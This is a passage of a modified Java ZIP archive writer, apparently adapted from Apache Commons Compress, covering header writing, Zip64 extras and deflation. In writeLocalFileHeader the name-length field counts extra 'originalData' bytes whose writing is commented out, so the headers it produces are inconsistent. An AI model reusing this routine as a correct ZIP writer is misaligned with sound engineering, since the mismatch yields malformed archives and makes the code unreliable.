handleSizesAndCrc(long bytesWritten, long crc, 550 | Zip64Mode effectiveMode) 551 | throws ZipException { 552 | if (entry.entry.getMethod() == DEFLATED) { 553 | /* It turns out def.getBytesRead() returns wrong values if 554 | * the size exceeds 4 GB on Java < Java7 555 | entry.entry.setSize(def.getBytesRead()); 556 | */ 557 | entry.entry.setSize(entry.bytesRead); 558 | entry.entry.setCompressedSize(bytesWritten); 559 | entry.entry.setCrc(crc); 560 | 561 | def.reset(); 562 | } else if (raf == null) { 563 | if (entry.entry.getCrc() != crc) { 564 | throw new ZipException("bad CRC checksum for entry " 565 | + entry.entry.getName() + ": " 566 | + Long.toHexString(entry.entry.getCrc()) 567 | + " instead of " 568 | + Long.toHexString(crc)); 569 | } 570 | 571 | if (entry.entry.getSize() != bytesWritten) { 572 | throw new ZipException("bad size for entry " 573 | + entry.entry.getName() + ": " 574 | + entry.entry.getSize() 575 | + " instead of " 576 | + bytesWritten); 577 | } 578 | } else { /* method is STORED and we used RandomAccessFile */ 579 | entry.entry.setSize(bytesWritten); 580 | entry.entry.setCompressedSize(bytesWritten); 581 | entry.entry.setCrc(crc); 582 | } 583 | 584 | final boolean actuallyNeedsZip64 = effectiveMode == Zip64Mode.Always 585 | || entry.entry.getSize() >= ZIP64_MAGIC 586 | || entry.entry.getCompressedSize() >= ZIP64_MAGIC; 587 | if (actuallyNeedsZip64 && effectiveMode == Zip64Mode.Never) { 588 | throw new Zip64RequiredException(Zip64RequiredException 589 | .getEntryTooBigMessage(entry.entry)); 590 | } 591 | return actuallyNeedsZip64; 592 | } 593 | 594 | /** 595 | * When using random access output, write the local file header 596 | * and potentiall the ZIP64 extra containing the correct CRC and 597 | * compressed/uncompressed sizes. 598 | */ 599 | private void rewriteSizesAndCrc(boolean actuallyNeedsZip64) 600 | throws IOException { 601 | long save = raf.getFilePointer(); 602 | 603 | raf.seek(entry.localDataStart); 604 | writeOut(ZipLong.getBytes(entry.entry.getCrc())); 605 | if (!hasZip64Extra(entry.entry) || !actuallyNeedsZip64) { 606 | writeOut(ZipLong.getBytes(entry.entry.getCompressedSize())); 607 | writeOut(ZipLong.getBytes(entry.entry.getSize())); 608 | } else { 609 | writeOut(ZipLong.ZIP64_MAGIC.getBytes()); 610 | writeOut(ZipLong.ZIP64_MAGIC.getBytes()); 611 | } 612 | 613 | if (hasZip64Extra(entry.entry)) { 614 | // seek to ZIP64 extra, skip header and size information 615 | raf.seek(entry.localDataStart + 3 * WORD + 2 * SHORT 616 | + getName(entry.entry).limit() + 2 * SHORT); 617 | // inside the ZIP64 extra uncompressed size comes 618 | // first, unlike the LFH, CD or data descriptor 619 | writeOut(ZipEightByteInteger.getBytes(entry.entry.getSize())); 620 | writeOut(ZipEightByteInteger.getBytes(entry.entry.getCompressedSize())); 621 | 622 | if (!actuallyNeedsZip64) { 623 | // do some cleanup: 624 | // * rewrite version needed to extract 625 | raf.seek(entry.localDataStart - 5 * SHORT); 626 | writeOut(ZipShort.getBytes(INITIAL_VERSION)); 627 | 628 | // * remove ZIP64 extra so it doesn't get written 629 | // to the central directory 630 | entry.entry.removeExtraField(Zip64ExtendedInformationExtraField 631 | .HEADER_ID); 632 | entry.entry.setExtra(); 633 | 634 | // * reset hasUsedZip64 if it has been set because 635 | // of this entry 636 | if (entry.causedUseOfZip64) { 637 | hasUsedZip64 = false; 638 | } 639 | } 640 | } 641 | raf.seek(save); 642 | } 643 | 644 | /** 645 | * {@inheritDoc} 646 | * @throws ClassCastException if entry is not an instance of ZipArchiveEntry 647 | * @throws Zip64RequiredException if the entry's uncompressed or 648 | * compressed size is known to exceed 4 GByte and {@link #setUseZip64} 649 | * is {@link Zip64Mode#Never}. 650 | */ 651 | @Override 652 | public void putArchiveEntry(ArchiveEntry archiveEntry) throws IOException { 653 | putArchiveEntry(archiveEntry, null); 654 | } 655 | 656 | public void putArchiveEntry(ArchiveEntry archiveEntry, byte[] originalData) throws IOException { 657 | if (finished) { 658 | throw new IOException("Stream has already been finished"); 659 | } 660 | 661 | if (entry != null) { 662 | closeArchiveEntry(); 663 | } 664 | 665 | entry = new CurrentEntry((ZipArchiveEntry) archiveEntry); 666 | entries.add(entry.entry); 667 | 668 | setDefaults(entry.entry); 669 | 670 | final Zip64Mode effectiveMode = getEffectiveZip64Mode(entry.entry); 671 | validateSizeInformation(effectiveMode); 672 | 673 | if (shouldAddZip64Extra(entry.entry, effectiveMode)) { 674 | 675 | Zip64ExtendedInformationExtraField z64 = getZip64Extra(entry.entry); 676 | 677 | // just a placeholder, real data will be in data 678 | // descriptor or inserted later via RandomAccessFile 679 | ZipEightByteInteger size = ZipEightByteInteger.ZERO; 680 | if (entry.entry.getMethod() == STORED 681 | && entry.entry.getSize() != ArchiveEntry.SIZE_UNKNOWN) { 682 | // actually, we already know the sizes 683 | size = new ZipEightByteInteger(entry.entry.getSize()); 684 | } 685 | z64.setSize(size); 686 | z64.setCompressedSize(size); 687 | entry.entry.setExtra(); 688 | } 689 | 690 | if (entry.entry.getMethod() == DEFLATED && hasCompressionLevelChanged) { 691 | def.setLevel(level); 692 | hasCompressionLevelChanged = false; 693 | } 694 | writeLocalFileHeader(entry.entry, originalData); 695 | } 696 | 697 | /** 698 | * Provides default values for compression method and last 699 | * modification time. 700 | */ 701 | private void setDefaults(ZipArchiveEntry entry) { 702 | if (entry.getMethod() == -1) { // not specified 703 | entry.setMethod(method); 704 | } 705 | 706 | if (entry.getTime() == -1) { // not specified 707 | entry.setTime(System.currentTimeMillis()); 708 | } 709 | } 710 | 711 | /** 712 | * Throws an exception if the size is unknown for a stored entry 713 | * that is written to a non-seekable output or the entry is too 714 | * big to be written without Zip64 extra but the mode has been set 715 | * to Never. 716 | */ 717 | private void validateSizeInformation(Zip64Mode effectiveMode) 718 | throws ZipException { 719 | // Size/CRC not required if RandomAccessFile is used 720 | if (entry.entry.getMethod() == STORED && raf == null) { 721 | if (entry.entry.getSize() == ArchiveEntry.SIZE_UNKNOWN) { 722 | throw new ZipException("uncompressed size is required for" 723 | + " STORED method when not writing to a" 724 | + " file"); 725 | } 726 | if (entry.entry.getCrc() == -1) { 727 | throw new ZipException("crc checksum is required for STORED" 728 | + " method when not writing to a file"); 729 | } 730 | entry.entry.setCompressedSize(entry.entry.getSize()); 731 | } 732 | 733 | if ((entry.entry.getSize() >= ZIP64_MAGIC 734 | || entry.entry.getCompressedSize() >= ZIP64_MAGIC) 735 | && effectiveMode == Zip64Mode.Never) { 736 | throw new Zip64RequiredException(Zip64RequiredException 737 | .getEntryTooBigMessage(entry.entry)); 738 | } 739 | } 740 | 741 | /** 742 | * Whether to addd a Zip64 extended information extra field to the 743 | * local file header. 744 | * 745 | *

Returns true if

746 | * 747 | *
    748 | *
  • mode is Always
  • 749 | *
  • or we already know it is going to be needed
  • 750 | *
  • or the size is unknown and we can ensure it won't hurt 751 | * other implementations if we add it (i.e. we can erase its 752 | * usage
  • 753 | *
754 | */ 755 | private boolean shouldAddZip64Extra(ZipArchiveEntry entry, Zip64Mode mode) { 756 | return mode == Zip64Mode.Always 757 | || entry.getSize() >= ZIP64_MAGIC 758 | || entry.getCompressedSize() >= ZIP64_MAGIC 759 | || (entry.getSize() == ArchiveEntry.SIZE_UNKNOWN 760 | && raf != null && mode != Zip64Mode.Never); 761 | } 762 | 763 | /** 764 | * Set the file comment. 765 | * @param comment the comment 766 | */ 767 | public void setComment(String comment) { 768 | this.comment = comment; 769 | } 770 | 771 | /** 772 | * Sets the compression level for subsequent entries. 773 | * 774 | *

Default is Deflater.DEFAULT_COMPRESSION.

775 | * @param level the compression level. 776 | * @throws IllegalArgumentException if an invalid compression 777 | * level is specified. 778 | */ 779 | public void setLevel(int level) { 780 | if (level < Deflater.DEFAULT_COMPRESSION 781 | || level > Deflater.BEST_COMPRESSION) { 782 | throw new IllegalArgumentException("Invalid compression level: " 783 | + level); 784 | } 785 | hasCompressionLevelChanged = (this.level != level); 786 | this.level = level; 787 | } 788 | 789 | /** 790 | * Sets the default compression method for subsequent entries. 791 | * 792 | *

Default is DEFLATED.

793 | * @param method an int from java.util.zip.ZipEntry 794 | */ 795 | public void setMethod(int method) { 796 | this.method = method; 797 | } 798 | 799 | /** 800 | * Whether this stream is able to write the given entry. 801 | * 802 | *

May return false if it is set up to use encryption or a 803 | * compression method that hasn't been implemented yet.

804 | * @since 1.1 805 | */ 806 | @Override 807 | public boolean canWriteEntryData(ArchiveEntry ae) { 808 | if (ae instanceof ZipArchiveEntry) { 809 | return ZipUtil.canHandleEntryData((ZipArchiveEntry) ae); 810 | } 811 | return false; 812 | } 813 | 814 | /** 815 | * Writes bytes to ZIP entry. 816 | * @param b the byte array to write 817 | * @param offset the start position to write from 818 | * @param length the number of bytes to write 819 | * @throws IOException on error 820 | */ 821 | @Override 822 | public void write(byte[] b, int offset, int length) throws IOException { 823 | ZipUtil.checkRequestedFeatures(entry.entry); 824 | entry.hasWritten = true; 825 | if (entry.entry.getMethod() == DEFLATED) { 826 | writeDeflated(b, offset, length); 827 | } else { 828 | writeOut(b, offset, length); 829 | written += length; 830 | } 831 | crc.update(b, offset, length); 832 | count(length); 833 | } 834 | 835 | public void writeRaw(byte[] b, int offset, int length) throws IOException{ 836 | writeOut(b, offset, length); 837 | written += length; 838 | } 839 | 840 | /** 841 | * write implementation for DEFLATED entries. 842 | */ 843 | private void writeDeflated(byte[]b, int offset, int length) 844 | throws IOException { 845 | if (length > 0 && !def.finished()) { 846 | entry.bytesRead += length; 847 | if (length <= DEFLATER_BLOCK_SIZE) { 848 | def.setInput(b, offset, length); 849 | deflateUntilInputIsNeeded(); 850 | } else { 851 | final int fullblocks = length / DEFLATER_BLOCK_SIZE; 852 | for (int i = 0; i < fullblocks; i++) { 853 | def.setInput(b, offset + i * DEFLATER_BLOCK_SIZE, 854 | DEFLATER_BLOCK_SIZE); 855 | deflateUntilInputIsNeeded(); 856 | } 857 | final int done = fullblocks * DEFLATER_BLOCK_SIZE; 858 | if (done < length) { 859 | def.setInput(b, offset + done, length - done); 860 | deflateUntilInputIsNeeded(); 861 | } 862 | } 863 | } 864 | } 865 | 866 | /** 867 | * Closes this output stream and releases any system resources 868 | * associated with the stream. 869 | * 870 | * @exception IOException if an I/O error occurs. 871 | * @throws Zip64RequiredException if the archive's size exceeds 4 872 | * GByte or there are more than 65535 entries inside the archive 873 | * and {@link #setUseZip64} is {@link Zip64Mode#Never}. 874 | */ 875 | @Override 876 | public void close() throws IOException { 877 | if (!finished) { 878 | finish(); 879 | } 880 | destroy(); 881 | } 882 | 883 | /** 884 | * Flushes this output stream and forces any buffered output bytes 885 | * to be written out to the stream. 886 | * 887 | * @exception IOException if an I/O error occurs. 888 | */ 889 | @Override 890 | public void flush() throws IOException { 891 | if (out != null) { 892 | out.flush(); 893 | } 894 | } 895 | 896 | /* 897 | * Various ZIP constants 898 | */ 899 | /** 900 | * local file header signature 901 | */ 902 | static final byte[] LFH_SIG = ZipLong.LFH_SIG.getBytes(); 903 | /** 904 | * data descriptor signature 905 | */ 906 | static final byte[] DD_SIG = ZipLong.DD_SIG.getBytes(); 907 | /** 908 | * central file header signature 909 | */ 910 | static final byte[] CFH_SIG = ZipLong.CFH_SIG.getBytes(); 911 | /** 912 | * end of central dir signature 913 | */ 914 | static final byte[] EOCD_SIG = ZipLong.getBytes(0X06054B50L); 915 | /** 916 | * ZIP64 end of central dir signature 917 | */ 918 | static final byte[] ZIP64_EOCD_SIG = ZipLong.getBytes(0X06064B50L); 919 | /** 920 | * ZIP64 end of central dir locator signature 921 | */ 922 | static final byte[] ZIP64_EOCD_LOC_SIG = ZipLong.getBytes(0X07064B50L); 923 | 924 | /** 925 | * Writes next block of compressed data to the output stream. 926 | * @throws IOException on error 927 | */ 928 | protected final void deflate() throws IOException { 929 | int len = def.deflate(buf, 0, buf.length); 930 | if (len > 0) { 931 | writeOut(buf, 0, len); 932 | written += len; 933 | } 934 | } 935 | 936 | /** 937 | * Writes the local file header entry 938 | * @param ze the entry to write 939 | * @throws IOException on error 940 | */ 941 | protected void writeLocalFileHeader(ZipArchiveEntry ze, byte[] originalData) throws IOException { 942 | 943 | boolean encodable = zipEncoding.canEncode(ze.getName()); 944 | ByteBuffer name = getName(ze); 945 | 946 | if (createUnicodeExtraFields != UnicodeExtraFieldPolicy.NEVER) { 947 | addUnicodeExtraFields(ze, encodable, name); 948 | } 949 | 950 | offsets.put(ze, Long.valueOf(written)); 951 | 952 | writeOut(LFH_SIG); 953 | written += WORD; 954 | 955 | //store method in local variable to prevent multiple method calls 956 | final int zipMethod = ze.getMethod(); 957 | 958 | final byte[] verAndShit = getVersionNeededToExtractAndGeneralPurposeBits(zipMethod, 959 | !encodable 960 | && fallbackToUTF8, 961 | hasZip64Extra(ze)); 962 | writeOut(verAndShit); 963 | written += WORD; 964 | 965 | // compression method 966 | writeOut(ZipShort.getBytes(zipMethod)); 967 | written += SHORT; 968 | 969 | // last mod. time and date 970 | writeOut(ZipUtil.toDosTime(ze.getTime())); 971 | written += WORD; 972 | 973 | // CRC 974 | // compressed length 975 | // uncompressed length 976 | entry.localDataStart = written; 977 | if (zipMethod == DEFLATED || raf != null) { 978 | writeOut(LZERO); 979 | if (hasZip64Extra(entry.entry)) { 980 | // point to ZIP64 extended information extra field for 981 | // sizes, may get rewritten once sizes are known if 982 | // stream is seekable 983 | writeOut(ZipLong.ZIP64_MAGIC.getBytes()); 984 | writeOut(ZipLong.ZIP64_MAGIC.getBytes()); 985 | } else { 986 | writeOut(LZERO); 987 | writeOut(LZERO); 988 | } 989 | } else { 990 | writeOut(ZipLong.getBytes(ze.getCrc())); 991 | byte[] size = ZipLong.ZIP64_MAGIC.getBytes(); 992 | if (!hasZip64Extra(ze)) { 993 | size = ZipLong.getBytes(ze.getSize()); 994 | } 995 | writeOut(size); 996 | writeOut(size); 997 | } 998 | // CheckStyle:MagicNumber OFF 999 | written += 12; 1000 | // CheckStyle:MagicNumber ON 1001 | 1002 | // file name length 1003 | int length = name.limit(); 1004 | if(originalData != null){ 1005 | length += originalData.length; 1006 | } 1007 | 1008 | writeOut(ZipShort.getBytes(length)); 1009 | written += SHORT; 1010 | 1011 | // extra field length 1012 | byte[] extra = ze.getLocalFileDataExtra(); 1013 | writeOut(ZipShort.getBytes(extra.length)); 1014 | written += SHORT; 1015 | 1016 | // file name 1017 | writeOut(name.array(), name.arrayOffset(), 1018 | name.limit() - name.position()); 1019 | written += name.limit(); 1020 | 1021 | /* 1022 | if(originalData != null){ 1023 | writeOut(originalData); 1024 | written += originalData.length; 1025 | } 1026 | */ 1027 | // extra field 1028 | writeOut(extra); 1029 | written += extra.length; 1030 | 1031 | entry.dataStart = written; 1032 | } 1033 | 1034 | /** 1035 | * Adds UnicodeExtra fields for name and file comment if mode is 1036 | * ALWAYS or the data cannot be encoded using the configured 1037 | * encoding. 1038 | */ 1039 | private void addUnicodeExtraFields(ZipArchiveEntry ze, boolean encodable, 1040 | ByteBuffer name) 1041 | throws IOException { 1042 | if (createUnicodeExtraFields == UnicodeExtraFieldPolicy.ALWAYS 1043 | || !encodable) { 1044 | ze.addExtraField(new UnicodePathExtraField(ze.getName(), 1045 | name.array(), 1046 | name.arrayOffset(), 1047 | name.limit() 1048 | - name.position())); 1049 | } 1050 | 1051 | String comm = ze.getComment(); 1052 | if (comm != null && !"".equals(comm)) { 1053 | 1054 | boolean commentEncodable = zipEncoding.canEncode(comm); 1055 | 1056 | if (createUnicodeExtraFields == UnicodeExtraFieldPolicy.ALWAYS 1057 | || !commentEncodable) { 1058 | ByteBuffer commentB = getEntryEncoding(ze).encode(comm); 1059 | ze.addExtraField(new UnicodeCommentExtraField(comm, 1060 | commentB.array(), 1061 | commentB.arrayOffset(), 1062 | commentB.limit() 1063 | - commentB.position()) 1064 | ); 1065 | } 1066 | } 1067 | } 1068 | 1069 | /** 1070 | * Writes the data descriptor entry. 1071 | * @param ze the entry to write 1072 | * @throws IOException on error 1073 | */ 1074 | protected void writeDataDescriptor(ZipArchiveEntry ze) throws IOException { 1075 | if (ze.getMethod() != DEFLATED || raf != null) { 1076 | return; 1077 | } 1078 | writeOut(DD_SIG); 1079 | writeOut(ZipLong.getBytes(ze.getCrc())); 1080 | int sizeFieldSize = WORD; 1081 | if (!hasZip64Extra(ze)) { 1082 | writeOut(ZipLong.getBytes(ze.getCompressedSize())); 1083 | writeOut(ZipLong.getBytes(ze.getSize())); 1084 | } else { 1085 | sizeFieldSize = DWORD; 1086 | writeOut(ZipEightByteInteger.getBytes(ze.getCompressedSize())); 1087 | writeOut(ZipEightByteInteger.getBytes(ze.getSize())); 1088 | } 1089 | written += 2 * WORD + 2 * sizeFieldSize; 1090 | } 1091 | 1092 | /** 1093 | * Writes the central file header entry. 1094 | * @param ze the entry to write 1095 | * @throws IOException on error 1096 | * @throws Zip64RequiredException if the archive's size exceeds 4 1097 | * GByte and {@link Zip64Mode #setUseZip64} is {@link 1098 | * Zip64Mode#Never}. 1099 | */ 1100 | protected void writeCentralFileHeader(ZipArchiveEntry ze) throws IOException { 1101 | final byte[] centralHeader = getCentralFileHeader(ze); 1102 | writeOut(centralHeader); 1103 | written += centralHeader.length; 1104 | } 1105 | 1106 | protected byte[] getCentralFileHeader(ZipArchiveEntry ze) throws IOException { 1107 | 1108 | ByteArrayOutputStream baos = new ByteArrayOutputStream(); 1109 | 1110 | baos.write(CFH_SIG); 1111 | 1112 | final long lfhOffset = offsets.get(ze).longValue(); 1113 | final boolean needsZip64Extra = hasZip64Extra(ze) 1114 | || ze.getCompressedSize() >= ZIP64_MAGIC 1115 | || ze.getSize() >= ZIP64_MAGIC 1116 | || lfhOffset >= ZIP64_MAGIC; 1117 | 1118 | if (needsZip64Extra && zip64Mode == Zip64Mode.Never) { 1119 | // must be the offset that is too big, otherwise an 1120 | // exception would have been throw in putArchiveEntry or 1121 | // closeArchiveEntry 1122 | throw new Zip64RequiredException(Zip64RequiredException 1123 | .ARCHIVE_TOO_BIG_MESSAGE); 1124 | } 1125 | 1126 | handleZip64Extra(ze, lfhOffset, needsZip64Extra); 1127 | 1128 | // version made by 1129 | // CheckStyle:MagicNumber OFF 1130 | baos.write(ZipShort.getBytes((ze.getPlatform() << 8) | 1131 | (!hasUsedZip64 ? DATA_DESCRIPTOR_MIN_VERSION 1132 | : ZIP64_MIN_VERSION))); 1133 | 1134 | final int zipMethod = ze.getMethod(); 1135 | final boolean encodable = zipEncoding.canEncode(ze.getName()); 1136 | final byte[] verAndShit = getVersionNeededToExtractAndGeneralPurposeBits(zipMethod, 1137 | !encodable 1138 | && fallbackToUTF8, 1139 | needsZip64Extra); 1140 | baos.write(verAndShit); 1141 | 1142 | // compression method 1143 | baos.write(ZipShort.getBytes(zipMethod)); 1144 | 1145 | // last mod. time and date 1146 | baos.write(ZipUtil.toDosTime(ze.getTime())); 1147 | 1148 | // CRC 1149 | // compressed length 1150 | // uncompressed length 1151 | baos.write(ZipLong.getBytes(ze.getCrc())); 1152 | if (ze.getCompressedSize() >= ZIP64_MAGIC 1153 | || ze.getSize() >= ZIP64_MAGIC) { 1154 | baos.write(ZipLong.ZIP64_MAGIC.getBytes()); 1155 | baos.write(ZipLong.ZIP64_MAGIC.getBytes()); 1156 | } else { 1157 | baos.write(ZipLong.getBytes(ze.getCompressedSize())); 1158 | baos.write(ZipLong.getBytes(ze.getSize())); 1159 | } 1160 | // CheckStyle:MagicNumber OFF 1161 | 1162 | 1163 | // CheckStyle:MagicNumber ON 1164 | 1165 | ByteBuffer name = getName(ze); 1166 | 1167 | baos.write(ZipShort.getBytes(name.limit())); 1168 | 1169 | // extra field length 1170 | byte[] extra = null; 1171 | if(ze instanceof ModdedZipArchiveEntry) { 1172 | extra = ((ModdedZipArchiveEntry)ze).getRawCentralDirectoryExtra(); 1173 | } 1174 | else { extra = ze.getCentralDirectoryExtra(); } 1175 | 1176 | baos.write(ZipShort.getBytes(extra.length)); 1177 | 1178 | 1179 | // file comment length 1180 | String comm = ze.getComment(); 1181 | if (comm == null) { 1182 | comm = ""; 1183 | } 1184 | 1185 | ByteBuffer commentB = getEntryEncoding(ze).encode(comm); 1186 | 1187 | baos.write(ZipShort.getBytes(commentB.limit())); 1188 | 1189 | // disk number start 1190 | baos.write(ZERO); 1191 | 1192 | // internal file attributes 1193 | baos.write(ZipShort.getBytes(ze.getInternalAttributes())); 1194 | 1195 | // external file attributes 1196 | baos.write(ZipLong.getBytes(ze.getExternalAttributes())); 1197 | 1198 | // relative offset of LFH 1199 | baos.write(ZipLong.getBytes(Math.min(lfhOffset, ZIP64_MAGIC))); 1200 | 1201 | // file name 1202 | baos.write(name.array(), name.arrayOffset(), 1203 | name.limit() - name.position()); 1204 | 1205 | // extra field 1206 | baos.write(extra); 1207 | 1208 | // file comment 1209 | baos.write(commentB.array(), commentB.arrayOffset(), 1210 | commentB.limit() - commentB.position()); 1211 | 1212 | baos.close(); 1213 | 1214 | return baos.toByteArray(); 1215 | } 1216 | 1217 | /** 1218 | * If the entry needs Zip64 extra information inside the central 1219 | * directory then configure its data. 1220 | */ 1221 | private void handleZip64Extra(ZipArchiveEntry ze, long lfhOffset, 1222 | boolean needsZip64Extra) { 1223 | if (needsZip64Extra) { 1224 | Zip64ExtendedInformationExtraField z64 = getZip64Extra(ze); 1225 | if (ze.getCompressedSize() >= ZIP64_MAGIC 1226 | || ze.getSize() >= ZIP64_MAGIC) { 1227 | z64.setCompressedSize(new ZipEightByteInteger(ze.getCompressedSize())); 1228 | z64.setSize(new ZipEightByteInteger(ze.getSize())); 1229 | } else { 1230 | // reset value that may have been set for LFH 1231 | z64.setCompressedSize(null); 1232 | z64.setSize(null); 1233 | } 1234 | if (lfhOffset >= ZIP64_MAGIC) { 1235 | z64.setRelativeHeaderOffset(new ZipEightByteInteger(lfhOffset)); 1236 | } 1237 | ze.setExtra(); 1238 | } 1239 | } 1240 | 1241 | /** 1242 | * Writes the "End of central dir record". 1243 | * @throws IOException on error 1244 | * @throws Zip64RequiredException if the archive's size exceeds 4 1245 | * GByte or there are more than 65535 entries inside the archive 1246 | * and {@link Zip64Mode #setUseZip64} is {@link Zip64Mode#Never}. 1247 | */ 1248 | protected void writeCentralDirectoryEnd(int numberOfEntries) throws IOException { 1249 | writeOut(EOCD_SIG); 1250 | 1251 | // disk numbers 1252 | writeOut(ZERO); 1253 | writeOut(ZERO); 1254 | 1255 | // number of entries 1256 | if (numberOfEntries > ZIP64_MAGIC_SHORT 1257 | && zip64Mode == Zip64Mode.Never) { 1258 | throw new Zip64RequiredException(Zip64RequiredException 1259 | .TOO_MANY_ENTRIES_MESSAGE); 1260 | } 1261 | if (cdOffset > ZIP64_MAGIC && zip64Mode == Zip64Mode.Never) { 1262 | throw new Zip64RequiredException(Zip64RequiredException 1263 | .ARCHIVE_TOO_BIG_MESSAGE); 1264 | } 1265 | 1266 | byte[] num = ZipShort.getBytes(Math.min(numberOfEntries, 1267 | ZIP64_MAGIC_SHORT)); 1268 | writeOut(num); 1269 | writeOut(num); 1270 | 1271 | // length and location of CD 1272 | writeOut(ZipLong.getBytes(Math.min(cdLength, ZIP64_MAGIC))); 1273 | writeOut(ZipLong.getBytes(Math.min(cdOffset, ZIP64_MAGIC))); 1274 | 1275 | // ZIP file comment 1276 | ByteBuffer data = this.zipEncoding.encode(comment); 1277 | writeOut(ZipShort.getBytes(data.limit())); 1278 | writeOut(data.array(), data.arrayOffset(), 1279 | data.limit() - data.position()); 1280 | } 1281 | 1282 | private static final byte[] ONE = ZipLong.getBytes(1L); 1283 | 1284 | /** 1285 | * Writes the "ZIP64 End of central dir record" and 1286 | * "ZIP64 End of central dir locator". 1287 | * @throws IOException on error 1288 | * @since 1.3 1289 | */ 1290 | protected void writeZip64CentralDirectory() throws IOException { 1291 | if (zip64Mode == Zip64Mode.Never) { 1292 | return; 1293 | } 1294 | 1295 | if (!hasUsedZip64 1296 | && (cdOffset >= ZIP64_MAGIC || cdLength >= ZIP64_MAGIC 1297 | || entries.size() >= ZIP64_MAGIC_SHORT)) { 1298 | // actually "will use" 1299 | hasUsedZip64 = true; 1300 | } 1301 | 1302 | if (!hasUsedZip64) { 1303 | return; 1304 | } 1305 | 1306 | long offset = written; 1307 | 1308 | writeOut(ZIP64_EOCD_SIG); 1309 | // size, we don't have any variable length as we don't support 1310 | // the extensible data sector, yet 1311 | writeOut(ZipEightByteInteger 1312 | .getBytes(SHORT /* version made by */ 1313 | + SHORT /* version needed to extract */ 1314 | + WORD /* disk number */ 1315 | + WORD /* disk with central directory */ 1316 | + DWORD /* number of entries in CD on this disk */ 1317 | + DWORD /* total number of entries */ 1318 | + DWORD /* size of CD */ 1319 | + DWORD /* offset of CD */ 1320 | )); 1321 | 1322 | // version made by and version needed to extract 1323 | writeOut(ZipShort.getBytes(ZIP64_MIN_VERSION)); 1324 | writeOut(ZipShort.getBytes(ZIP64_MIN_VERSION)); 1325 | 1326 | // disk numbers - four bytes this time 1327 | writeOut(LZERO); 1328 | writeOut(LZERO); 1329 | 1330 | // number of entries 1331 | byte[] num = ZipEightByteInteger.getBytes(entries.size()); 1332 | writeOut(num); 1333 | writeOut(num); 1334 | 1335 | // length and location of CD 1336 | writeOut(ZipEightByteInteger.getBytes(cdLength)); 1337 | writeOut(ZipEightByteInteger.getBytes(cdOffset)); 1338 | 1339 | // no "zip64 extensible data sector" for now 1340 | 1341 | // and now the "ZIP64 end of central directory locator" 1342 | writeOut(ZIP64_EOCD_LOC_SIG); 1343 | 1344 | // disk number holding the ZIP64 EOCD record 1345 | writeOut(LZERO); 1346 | // relative offset of ZIP64 EOCD record 1347 | writeOut(ZipEightByteInteger.getBytes(offset)); 1348 | // total number of disks 1349 | writeOut(ONE); 1350 | } 1351 | 1352 | /** 1353 | * Write bytes to output or random access file. 1354 | * @param data the byte array to write 1355 | * @throws IOException on error 1356 | */ 1357 | protected final void writeOut(byte[] data) throws IOException { 1358 | writeOut(data, 0, data.length); 1359 | } 1360 | 1361 | /** 1362 | * Write bytes to output or random access file. 1363 | * @param data the byte array to write 1364 | * @param offset the start position to write from 1365 | * @param length the number of bytes to write 1366 | * @throws IOException on error 1367 | */ 1368 | protected final void writeOut(byte[] data, int offset, int length) 1369 | throws IOException { 1370 | if (raf != null) { 1371 | raf.write(data, offset, length); 1372 | } else { 1373 | out.write(data, offset, length); 1374 | } 1375 | } 1376 | 1377 | private void deflateUntilInputIsNeeded() throws IOException { 1378 | while (!def.needsInput()) { 1379 | deflate(); 1380 | } 1381 | } 1382 | 1383 | private byte[] getVersionNeededToExtractAndGeneralPurposeBits(final int 1384 | zipMethod, 1385 | final boolean 1386 | utfFallback, 1387 | final boolean 1388 | zip64) 1389 | throws IOException { 1390 | ByteArrayOutputStream baos = new ByteArrayOutputStream(); 1391 | // CheckStyle:MagicNumber OFF 1392 | int versionNeededToExtract = INITIAL_VERSION; 1393 | GeneralPurposeBit b = new GeneralPurposeBit(); 1394 | b.useUTF8ForNames(useUTF8Flag || utfFallback); 1395 | if (zipMethod == DEFLATED && raf == null) { 1396 | // requires version 2 as we are going to store length info 1397 | // in the data descriptor 1398 | versionNeededToExtract = DATA_DESCRIPTOR_MIN_VERSION; 1399 | b.useDataDescriptor(true); 1400 | } 1401 | if (zip64) { 1402 | versionNeededToExtract = ZIP64_MIN_VERSION; 1403 | } 1404 | // CheckStyle:MagicNumber ON 1405 | 1406 | // version needed to extract 1407 | baos.write(ZipShort.getBytes(versionNeededToExtract)); 1408 | // general purpose bit flag 1409 | baos.write(b.encode()); 1410 | return baos.toByteArray(); 1411 | } 1412 | 1413 | /** 1414 | * Creates a new zip entry taking some information from the given 1415 | * file and using the provided name. 1416 | * 1417 | *

The name will be adjusted to end with a forward slash "/" if 1418 | * the file is a directory. If the file is not a directory a 1419 | * potential trailing forward slash will be stripped from the 1420 | * entry name.

1421 | * 1422 | *

Must not be used if the stream has already been closed.

1423 | */ 1424 | @Override 1425 | public ArchiveEntry createArchiveEntry(File inputFile, String entryName) 1426 | throws IOException { 1427 | if (finished) { 1428 | throw new IOException("Stream has already been finished"); 1429 | } 1430 | return new ZipArchiveEntry(inputFile, entryName); 1431 | } 1432 | 1433 | /** 1434 | * Get the existing ZIP64 extended information extra field or 1435 | * create a new one and add it to the entry. 1436 | * 1437 | * @since 1.3 1438 | */ 1439 | private Zip64ExtendedInformationExtraField 1440 | getZip64Extra(ZipArchiveEntry ze) { 1441 | if (entry != null) { 1442 | entry.causedUseOfZip64 = !hasUsedZip64; 1443 | } 1444 | hasUsedZip64 = true; 1445 | Zip64ExtendedInformationExtraField z64 = 1446 | (Zip64ExtendedInformationExtraField) 1447 | ze.getExtraField(Zip64ExtendedInformationExtraField 1448 | .HEADER_ID); 1449 | if (z64 == null) { 1450 | /* 1451 | System.err.println("Adding z64 for " + ze.getName() 1452 | + ", method: " + ze.getMethod() 1453 | + " (" + (ze.getMethod() == STORED) + ")" 1454 | + ", raf: " + (raf != null)); 1455 | */ 1456 | z64 = new Zip64ExtendedInformationExtraField(); 1457 | } 1458 | 1459 | // even if the field is there already, make sure it is the first one 1460 | ze.addAsFirstExtraField(z64); 1461 | 1462 | return z64; 1463 | } 1464 | 1465 | /** 1466 | * Is there a ZIP64 extended information extra field for the 1467 | * entry? 1468 | * 1469 | * @since 1.3 1470 | */ 1471 | private boolean hasZip64Extra(ZipArchiveEntry ze) { 1472 | return ze.getExtraField(Zip64ExtendedInformationExtraField 1473 | .HEADER_ID) 1474 | != null; 1475 | } 1476 | 1477 | /** 1478 | * If the mode is AsNeeded and the entry is a compressed entry of 1479 | * unknown size that gets written to a non-seekable stream the 1480 | * change the default to Never. 1481 | * 1482 | * @since 1.3 1483 | */ 1484 | private Zip64Mode getEffectiveZip64Mode(ZipArchiveEntry ze) { 